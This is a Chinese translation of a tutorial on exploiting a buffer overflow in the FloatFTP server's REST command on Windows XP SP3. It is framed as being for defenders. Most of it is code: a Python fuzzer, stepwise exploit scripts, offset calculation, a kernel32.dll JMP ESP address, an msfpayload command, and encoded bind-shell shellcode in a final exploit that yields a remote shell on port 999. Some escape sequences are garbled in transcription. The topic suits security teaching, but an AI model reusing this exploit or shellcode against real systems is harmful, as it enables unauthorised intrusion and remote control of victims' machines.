摘要:按鍵或是工具欄上的播放符號(hào),讓應(yīng)用程序運(yùn)行。單擊器的工具欄上的,在存在的中查找指令,之后雙擊一個(gè),右鍵單擊搜索,選擇,之后鍵入。
在我第一次不得不處理緩沖區(qū)溢出漏洞時(shí),我真是一竅不通啊!雖然我可以建立網(wǎng)絡(luò)和配置防火墻、代理服務(wù)器,不費(fèi)吹灰之力的入侵檢測(cè)系統(tǒng),但是對(duì)于利用代碼來說,我還是第一次接觸到。然而,正如處理任何復(fù)雜或是困難的概念一樣,最好的辦法就是把它分解成我們了解的多個(gè)部分。
在研究和學(xué)習(xí)教程后,一些概念和工具開始變得不那么令人困惑了,并且逐漸能夠明白一些細(xì)節(jié)了。然后,我開始在實(shí)驗(yàn)室現(xiàn)有已掌握可重建的應(yīng)用程序中,尋找簡(jiǎn)單的緩存漏洞。只有在不斷地實(shí)驗(yàn),各種概念會(huì)一個(gè)個(gè)出現(xiàn)————整個(gè)進(jìn)程,無論是獨(dú)立的部分還是整體————都會(huì)一點(diǎn)點(diǎn)呈現(xiàn)出來。
本教程將會(huì)為防御者描述一些基本概念,包括一個(gè)攻擊者經(jīng)歷漏洞開發(fā)過程需要的工作量和攻擊者將要面對(duì)的編寫惡意代碼攻擊特定漏洞的風(fēng)險(xiǎn)。
如今的攻擊者既有決心也有技術(shù),并且知道對(duì)于負(fù)責(zé)計(jì)算機(jī)和網(wǎng)絡(luò)的人來說什么實(shí)際操作是最關(guān)鍵的,防御者對(duì)敵人的動(dòng)機(jī)和技術(shù)了解的越多,他就越容易制定有效的防御措施。
我要經(jīng)歷幾個(gè)漏洞挖掘的階段才能找到一個(gè)有效漏洞,首先,我們會(huì)fuzz我們的目標(biāo)應(yīng)用程序,通過一個(gè)有趣的方式使它崩潰,通過Immunity?debugger來監(jiān)控崩潰的過程,在Windows系統(tǒng)的內(nèi)存中找到最易受攻擊的溢出的shellcode。隨后,我們將要?jiǎng)?chuàng)造一個(gè)漏洞來傳遞shellcode,從而攻擊遠(yuǎn)程系統(tǒng)。
需要的軟件/設(shè)置攻擊系統(tǒng):Backtrack Linux(我用的R3)
開發(fā)/受害系統(tǒng):Windows?xp?sp3英文版
Immunity?debugger:安裝在Windows?xp系統(tǒng)上
FloatFTP:我們要利用的應(yīng)用程序
讓我們正式開始吧!
Fuzzing“Fuzzing”是發(fā)送無效或畸形的、過多的和隨機(jī)的數(shù)據(jù)到計(jì)算機(jī)程序試圖使系統(tǒng)崩潰或出現(xiàn)意想不到現(xiàn)象的測(cè)試手段。Fuzzing用于測(cè)試系統(tǒng)和程序的安全。
雙擊float?FTP來執(zhí)行開始:
通過運(yùn)行cmd提示符來運(yùn)行和監(jiān)聽21端口和鍵入:
netstat -an | find "21"
啟動(dòng)Immunity?debugger,單擊“file”,再單擊“attach”,選擇FTP服務(wù)器過程,單擊“attach”。
一旦應(yīng)用程序在調(diào)試器上加載時(shí),調(diào)試器會(huì)處于暫定狀態(tài)。按F9鍵或是Immunity?debugger工具欄上的播放符號(hào),讓應(yīng)用程序運(yùn)行。這個(gè)目標(biāo)應(yīng)用程序?qū)?huì)被調(diào)試器監(jiān)控。
現(xiàn)在我們將開始配置FTP?fuzzer,首先,F(xiàn)uzz應(yīng)用程序來使系統(tǒng)崩潰,然后使用調(diào)試器來采集和分析崩潰數(shù)據(jù)。
下面的代碼是一個(gè)用python腳本語言編寫的簡(jiǎn)單的FTP?fuzzer,當(dāng)執(zhí)行時(shí),fuzzer會(huì)發(fā)送標(biāo)準(zhǔn)的FTP命令“REST”,并且附加越來越多的“A”到每條指令。
#!/usr/bin/python import socket # Create an array of buffers, from 20 to 2000, with increments of 20. buffer=["A"] counter=20 while len(buffer) <= 30: buffer.append("A"*counter) counter=counter+100 # Define the FTP commands to be fuzzed commands=["REST"] # Run the fuzzing loop for command in commands: for string in buffer: print "Fuzzing" + command + " with length:" +str(len(string)) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(("10.10.10.32",21)) # Target IP address s.recv(1024) s.send("USER ftp ") # login user s.recv(1024) s.send("PASS ftp ") # login password s.recv(1024) s.send(command + " " + string + " ") # buffer s.recv(1024) s.send("QUIT ") s.close()
我們可以從例子(http://www.exploit-db.com/exploits/17546/)中知道FTP服務(wù)器的REST命令就是一個(gè)易受攻擊的緩沖區(qū)溢出,F(xiàn)TP的REST功能將會(huì)成為fuzzer的目標(biāo)。
在攻擊系統(tǒng)的桌面上創(chuàng)建一個(gè)文件夾來存放fuzzing和漏洞代碼。使用“CD”到這個(gè)目錄,運(yùn)行“nano?fuzzer.py”。這會(huì)打開一個(gè)空白的nano文本編輯器,復(fù)制和粘貼上面的代碼到文件中。
利用正在系統(tǒng)上運(yùn)行的floatFTP的系統(tǒng)IP地址改變目標(biāo)IP地址,按CTRL+O來保存文件,按CTRL+X來退出nano,接下來,通過鍵入來創(chuàng)建可執(zhí)行文件。
chmod 755 fuzzer.py
執(zhí)行“/fuzzer.py”,幾秒鐘后,你能夠看到fuzzer停止了,并且顯示目標(biāo)應(yīng)用程序崩潰。
當(dāng)你在xp系統(tǒng)上看到這個(gè)調(diào)試器,你會(huì)看到Immunity?debugger已經(jīng)捕獲了破壞的數(shù)據(jù)和暫停的應(yīng)用程序。如果你看EIP(擴(kuò)展指令指針)寄存器時(shí),你就會(huì)看到在41次內(nèi)fuzzer緩沖區(qū)覆蓋寄存器,fuzzer緩沖區(qū)也會(huì)涌入ESP(擴(kuò)展堆棧指針)寄存器(00AEFC2C)。我們的首要目的是為了通過CPU執(zhí)行的指令代碼再次控制EIP寄存器,把它設(shè)置成我們所選擇的值。
漏洞挖掘用nano創(chuàng)建一個(gè)新的文件,輸入下面的代碼。這是挖掘的開始,將文件保存為skeleton.py并執(zhí)行(輸入chmod?755?skeleton.py)
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = "x41" * 1000 print " Sending evil buffer..." s.connect(("10.10.10.32",21)) data = s.recv(1024) s.send("USER ftp" +" ") data = s.recv(1024) s.send("PASS ftp" +" ") data = s.recv(1024) s.send("REST" +buffer+" ") s.close()
在攻擊系統(tǒng)的Linux終端上運(yùn)行skeleton.py。
現(xiàn)在,當(dāng)你在Immunity?debugger上檢查EIP寄存器時(shí),你會(huì)看到緩沖區(qū)代碼0×41414141覆蓋了寄存器,并溢出到了ESP寄存器中。
下一步就是要確定我們要插入代碼的空間到底有多大,到現(xiàn)在為止,我們已經(jīng)使用了一組固定的重復(fù)字符來確定我們的目標(biāo)的內(nèi)存地址。我們現(xiàn)在將要使用metasploit的pattern_create和pattern_offset工具來幫助我們發(fā)現(xiàn)究竟有多大的空間,我們以什么特定的內(nèi)存地址為目標(biāo)。首先,用1000個(gè)字符來生成一個(gè)不重復(fù)的字符串。
使用cd命令到/opt/metasploit/msf3/tools并運(yùn)行:
./pattern\_create.rb 1000?
創(chuàng)建一個(gè)1000字符的字符串,用它來取代以前緩沖架構(gòu)漏洞中的1000個(gè)字符“A”。
注釋掉以前的緩沖區(qū)漏洞,像下面一樣創(chuàng)建一個(gè)新的緩沖線,在雙引號(hào)中為新的緩沖區(qū)。
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #buffer = "x41" * 1000 buffer = "Paste pattern_create buffer here" print " Sending evil buffer..." s.connect(("10.10.10.32",21)) data = s.recv(1024) s.send("USER ftp" +" ") data = s.recv(1024) s.send("PASS ftp" +" ") data = s.recv(1024) s.send("REST" +buffer+" ") s.close()
在Immunity?debugger下重啟FTP服務(wù)器(單擊“debug”,之后重啟或按CTRL+F2),啟動(dòng)FTP服務(wù)器的架構(gòu)漏洞。按照先前的做法一定崩潰了,但是現(xiàn)在EIP和ESP緩沖區(qū)中有metasploit創(chuàng)建的格式,把這些值復(fù)制下來,我們將用它們來計(jì)算EIP和ESP寄存器的字節(jié)中的差異。
在本例,EIP和ESP的值為:
EIP:?69413269? ESP:?00AEFC2C?(69413669)
之后,運(yùn)行:
./pattern\_offset.rb 69413269
接著
./pattern\_offset.rb 69413669
輸出告訴我們247個(gè)字節(jié)以后的EIP寄存器開始被緩沖區(qū)覆蓋,這就意味著EIP中248—251字節(jié)是我們想要的目標(biāo)。
CPU通過EIP寄存器中的值知道下一個(gè)要運(yùn)行的指令,在內(nèi)存地址中運(yùn)行這些當(dāng)前的指令,在EIP的內(nèi)存位置中使用JMP?ESP指令使CPU來執(zhí)行指令和跳到ESP寄存器中執(zhí)行駐留在該地址的內(nèi)存中的指令。我們的目的就是在EIP中使用JMP?ESP指令,這樣我們就能控制執(zhí)行命令并把我們的代碼轉(zhuǎn)變到ESP寄存器中。
兩個(gè)寄存器之間有12個(gè)字節(jié),于是我們用8個(gè)字節(jié)來填充我們的緩沖區(qū),縮小間距和連接到ESP寄存器。
我們使用保持1000字節(jié)邊界的框架漏洞來調(diào)整緩沖區(qū):
buffer = "/gx41"*247 + "x42x42x42x42" + "x43"*8 + "/gx44"*741 z
例如:?[buffer]<>[eip?data]<>[padding]<>[shellcode?placeholder]
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #buffer = x41 * 1000 #buffer = "pattern_create buffer" buffer = "x41"*247 + "x42x42x42x42" + "x43"*8 + "x44"*741 print " Sending evil buffer..." s.connect(("10.10.10.32",21)) data = s.recv(1024) s.send("USER ftp" +" ") data = s.recv(1024) s.send("PASS ftp" +" ") data = s.recv(1024) s.send("REST" +buffer+" ") s.close()
在Immunity?debugger中重啟FTP服務(wù)器,按播放鍵取消暫停的應(yīng)用程序。
再次運(yùn)行挖掘,然后在Immunity?debugger器中右擊ESP寄存器的窗格選擇“follow?in?dump”。如果一切排列正確的話,EIP寄存器中將會(huì)存儲(chǔ)42424242和DS(x44)將會(huì)在ESP寄存器內(nèi)存地址前面從EIP到ESP的空間中填充8 CS。
很棒。在Immunity?debugger器中,復(fù)制DS的開始到結(jié)束的ESP的內(nèi)存地址。然后打開windows計(jì)算器,轉(zhuǎn)換到16進(jìn)制的模式,把數(shù)值變成10進(jìn)制。
這里是這樣的:
開始:00AEFC2C?=?11467820
結(jié)束:00AEFF0C?=?11468556
用結(jié)束值減去開始值11468556?-?11467820?=?736,我們就知道有736個(gè)字節(jié)來儲(chǔ)存代碼。
現(xiàn)在,我們有了目標(biāo)內(nèi)存地址和指令,我們需要一種方法獲得從EIP寄存器到ESP寄存器的指令,為了做到這一點(diǎn),我們可以在windows操作系統(tǒng)的DLL中使用現(xiàn)有的JMP?ESP指令。
單擊Immunity?debugger器的工具欄上的“e”,在存在的windows?dll中查找JMP?ESP指令,之后雙擊一個(gè)DLL,右鍵單擊“搜索”,選擇“command”,之后鍵入“JMP?ESP”。
我們?cè)趙indows系統(tǒng)文件kernel32.dll系統(tǒng)文件中發(fā)現(xiàn)了我們要找的指令,然后記下JMP?ESP的內(nèi)存地址。在本例中,是7C86467B,注意,如果你正在使用任何其他操作系統(tǒng),而不是32位的windows?xp?sp3英文版,這個(gè)指令駐留在不同的位置。你要是用的是其他系統(tǒng),在另外的DLL中查找JMP?ESP指令,在剩下的教程中改變內(nèi)存地址。
我們用一個(gè)新的緩沖區(qū)來更新我們的骨架漏洞,注釋掉最后的一個(gè)緩沖區(qū)聲明,用下面的代碼替代它:
buffer = "/gx41"*247 + "x7Bx46x86x7C" + "x42"*8 + "/gxCC"*741
因?yàn)樾∥矓?shù)CPU架構(gòu),JMP?ESP的地址必須在緩沖區(qū)中向后格式化,所以7C86467B變成了x7Bx46x86x7C。我們也要增加8Bs作為填充("x43"*8)和改變最后一個(gè)值為xCC*741?(742?CC"s),這將會(huì)作為我們的代碼的占位。一切正常,CCs應(yīng)該在我們的目標(biāo)ESP內(nèi)存地址的開始,00AEFC2C,我們應(yīng)該在EIP寄存器中找到我們的JMP?ESP指令(7C86467B)。
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #buffer = x41 * 1000 #buffer = "pattern_create buffer" #buffer = "x41"*247 + "x44x44x44x44" + "x43"*8 + "x44"*741 # Windows XP SP3 kernel32.dll JMP ESP buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "xCC"*741 print " Sending evil buffer..." s.connect(("10.10.10.32",21)) data = s.recv(1024) s.send("USER ftp" +" ") data = s.recv(1024) s.send("PASS ftp" +" ") data = s.recv(1024) s.send("REST" +buffer+" ") s.close()
在Immunity?debugger器中單擊“debug”之后“restar”來重啟FTPsever.exe,不要忘記按F9或是在調(diào)試器中單擊播放按鈕來取消暫停的應(yīng)用程序。
在Immunity?debugger器工具欄單擊箭頭指向的三個(gè)點(diǎn),進(jìn)入JMP?ESP內(nèi)存所在的位置:7C86467B(在這個(gè)例子中),單擊“OK”,然后按下F2在調(diào)試中設(shè)置斷點(diǎn)。當(dāng)訪問JMP?ESP地址時(shí),調(diào)試將會(huì)暫定,讓我們來查看寄存器和驗(yàn)證我們的目標(biāo)EIP和ESP的正確性。
再次運(yùn)行漏洞,并在調(diào)試器中查看輸出,這看起來應(yīng)該和下面的類似:
EIP中包含JMP?ESP的目標(biāo)地址(7C86467B)和我們的CCs在ESP(00AEFC2C)開始。現(xiàn)在,我們控制執(zhí)行命令,剩下的就是用shellcode替換掉占位的CCs。
shellcode和漏洞我們將使用metasploit的msfpayload來創(chuàng)建payload。有一點(diǎn)要注意:因?yàn)槲覀儌鬟f的都是字符串,我們必須要遵守字符限制的FTP協(xié)議。這就意味著沒有空,返回,換行,或是@符號(hào),他們用16進(jìn)制的表示為x00,?x0d,?x0a,?0×40。"x40xffx3dx20"可以阻止shellcode執(zhí)行。
下面是用msfpayload命令創(chuàng)建的shellcode,當(dāng)在目標(biāo)系統(tǒng)中被執(zhí)行時(shí),TCP999端口將會(huì)被打開。Msfencode語句確保在shellcode中沒有壞的字符能阻止上面的執(zhí)行。
msfpayload windowsgshell\_bind\_tcp EXITFUNC=seh LPORT=999 R | msfencode -b "/gx40x0Ax00x0Dxffx0dx3dx20"
這個(gè)結(jié)果是一個(gè)386字節(jié)的payload:
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) buf = "xbax2ex27xc2x55xdbxdcxd9x74x24xf4x5fx2bxc9" + "xb1x56x31x57x13x83xefxfcx03x57x21xc5x37xa9" + "xd5x80xb8x52x25xf3x31xb7x14x21x25xb3x04xf5" + "x2dx91xa4x7ex63x02x3fxf2xacx25x88xb9x8ax08" + "x09x0cx13xc6xc9x0exefx15x1dxf1xcexd5x50xf0" + "x17x0bx9axa0xc0x47x08x55x64x15x90x54xaax11" + "xa8x2excfxe6x5cx85xcex36xccx92x99xaex67xfc" + "x39xcexa4x1ex05x99xc1xd5xfdx18x03x24xfdx2a" + "x6bxebxc0x82x66xf5x05x24x98x80x7dx56x25x93" + "x45x24xf1x16x58x8ex72x80xb8x2ex57x57x4ax3c" + "x1cx13x14x21xa3xf0x2ex5dx28xf7xe0xd7x6axdc" + "x24xb3x29x7dx7cx19x9cx82x9exc5x41x27xd4xe4" + "x96x51xb7x60x5bx6cx48x71xf3xe7x3bx43x5cx5c" + "xd4xefx15x7ax23x0fx0cx3axbbxeexaex3bx95x34" + "xfax6bx8dx9dx82xe7x4dx21x57xa7x1dx8dx07x08" + "xcex6dxf7xe0x04x62x28x10x27xa8x5fx16xe9x88" + "x0cxf1x08x2fxb1xe6x84xc9xdfxf8xc0x42x77x3b" + "x37x5bxe0x44x1dxf7xb9xd2x29x11x7dxdcxa9x37" + "x2ex71x01xd0xa4x99x96xc1xbbxb7xbex88x84x50" + "x34xe5x47xc0x49x2cx3fx61xdbxabxbfxecxc0x63" + "xe8xb9x37x7ax7cx54x61xd4x62xa5xf7x1fx26x72" + "xc4x9exa7xf7x70x85xb7xc1x79x81xe3x9dx2fx5f" + "x5dx58x86x11x37x32x75xf8xdfxc3xb5x3bx99xcb" + "x93xcdx45x7dx4ax88x7axb2x1ax1cx03xaexbaxe3" + "xdex6axc4x12xd2x66x51x8dx87xcax3fx2ex72x08" + "x46xadx76xf1xbdxadxf3xf4xfax69xe8x84x93x1f" + "x0ex3ax93x35"
注釋掉前面緩沖區(qū)聲明和添加新的修改聲明:
buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + shellcode + "xCC"*373
在處理shellcode運(yùn)行的問題,雙重檢查所有參數(shù)包括“壞字符”之后,我就決定添加NOP指令到緩沖區(qū)在shellcode之前。在計(jì)算機(jī)的CPU中,一個(gè)NOP?slide是一系列的NOP(無操作)指令(操作碼0×90),這就意味著“滑動(dòng)”CPU的指令執(zhí)行流程到它的最終目標(biāo)。當(dāng)一切在一個(gè)漏洞中正常排列,NOP指令是有利的,但是shellcode執(zhí)行失敗。
我又一次修改緩沖區(qū)在shellcode前添加了16個(gè)NOP:
buffer = "/gx41"*247 + "x7Bx46x86x7C" + "x42"*8 + "/gx90"*16 + shellcode + "xCC"*357
例如:?[buffer]<>[EIP?-?JMP?ESP]<>[EIP?to?ESP?padding]<>[NOPs]<>[shellcode]<>[Padding]
最終完整的漏洞:
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #buffer = "x41" * 1000 #buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" #buffer = "x41"*247 + "x42x42x42x42" + "x43"*8 + "x44"*741 ## msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b "x40x0Ax00x0D" 368 bytes shellcode = ("xbax2ex27xc2x55xdbxdcxd9x74x24xf4x5fx2bxc9" "xb1x56x31x57x13x83xefxfcx03x57x21xc5x37xa9" "xd5x80xb8x52x25xf3x31xb7x14x21x25xb3x04xf5" "x2dx91xa4x7ex63x02x3fxf2xacx25x88xb9x8ax08" "x09x0cx13xc6xc9x0exefx15x1dxf1xcexd5x50xf0" "x17x0bx9axa0xc0x47x08x55x64x15x90x54xaax11" "xa8x2excfxe6x5cx85xcex36xccx92x99xaex67xfc" "x39xcexa4x1ex05x99xc1xd5xfdx18x03x24xfdx2a" "x6bxebxc0x82x66xf5x05x24x98x80x7dx56x25x93" "x45x24xf1x16x58x8ex72x80xb8x2ex57x57x4ax3c" "x1cx13x14x21xa3xf0x2ex5dx28xf7xe0xd7x6axdc" "x24xb3x29x7dx7cx19x9cx82x9exc5x41x27xd4xe4" "x96x51xb7x60x5bx6cx48x71xf3xe7x3bx43x5cx5c" "xd4xefx15x7ax23x0fx0cx3axbbxeexaex3bx95x34" "xfax6bx8dx9dx82xe7x4dx21x57xa7x1dx8dx07x08" "xcex6dxf7xe0x04x62x28x10x27xa8x5fx16xe9x88" "x0cxf1x08x2fxb1xe6x84xc9xdfxf8xc0x42x77x3b" "x37x5bxe0x44x1dxf7xb9xd2x29x11x7dxdcxa9x37" "x2ex71x01xd0xa4x99x96xc1xbbxb7xbex88x84x50" "x34xe5x47xc0x49x2cx3fx61xdbxabxbfxecxc0x63" "xe8xb9x37x7ax7cx54x61xd4x62xa5xf7x1fx26x72" "xc4x9exa7xf7x70x85xb7xc1x79x81xe3x9dx2fx5f" "x5dx58x86x11x37x32x75xf8xdfxc3xb5x3bx99xcb" "x93xcdx45x7dx4ax88x7axb2x1ax1cx03xaexbaxe3" "xdex6axc4x12xd2x66x51x8dx87xcax3fx2ex72x08" "x46xadx76xf1xbdxadxf3xf4xfax69xe8x84x93x1f" "x0ex3ax93x35") ## Windows XP SP3 kernel32.dll 7C86467B JMP ESP #buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "xCC"*741 buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "x90"*16 + shellcode + "xCC"*357 print " Sending evil buffer..." s.connect(("10.10.10.32",21)) data = s.recv(1024) s.send("USER ftp" +" ") data = s.recv(1024) s.send("PASS ftp" +" ") data = s.recv(1024) s.send("REST" +buffer+" ") s.close()
關(guān)閉XP系統(tǒng)上的調(diào)試器,重新啟動(dòng)FloatFTP。在攻擊系統(tǒng)上啟動(dòng)漏洞攻擊,然后遠(yuǎn)程連接到FTP服務(wù)器的999端口,一起正常,你將會(huì)以一個(gè)管理員的身份(或是任何一個(gè)打開FloatFTP進(jìn)程的)收到一個(gè)shell。
正如你看到的,現(xiàn)在這個(gè)系統(tǒng)已經(jīng)被滲透,并且受攻擊者控制。
原文 Understanding Buffer Overflow Exploits
翻譯 趙陽
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://m.specialneedsforspecialkids.com/yun/11083.html
摘要:二漏洞成因分析在協(xié)議中,最小的發(fā)送數(shù)據(jù)包的單位是一個(gè)。這次漏洞的起因是對(duì)于屬于同一個(gè)的的字段沒有校驗(yàn)前后是否一致,導(dǎo)致寫入堆的時(shí)候緩沖區(qū)溢出。可以部署在堆上,然后在程序中尋找合適的把棧指針遷移到堆上就行了。 作者:棧長(zhǎng)@螞蟻金服巴斯光年安全實(shí)驗(yàn)室 一、前言FFmpeg是一個(gè)著名的處理音視頻的開源項(xiàng)目,使用者眾多。2016年末paulcher發(fā)現(xiàn)FFmpeg三個(gè)堆溢出漏洞分別為CVE-2...
閱讀 1867·2021-11-25 09:43
閱讀 3694·2021-11-24 10:32
閱讀 1088·2021-10-13 09:39
閱讀 2341·2021-09-10 11:24
閱讀 3354·2021-07-25 21:37
閱讀 3476·2019-08-30 15:56
閱讀 870·2019-08-30 15:44
閱讀 1460·2019-08-30 13:18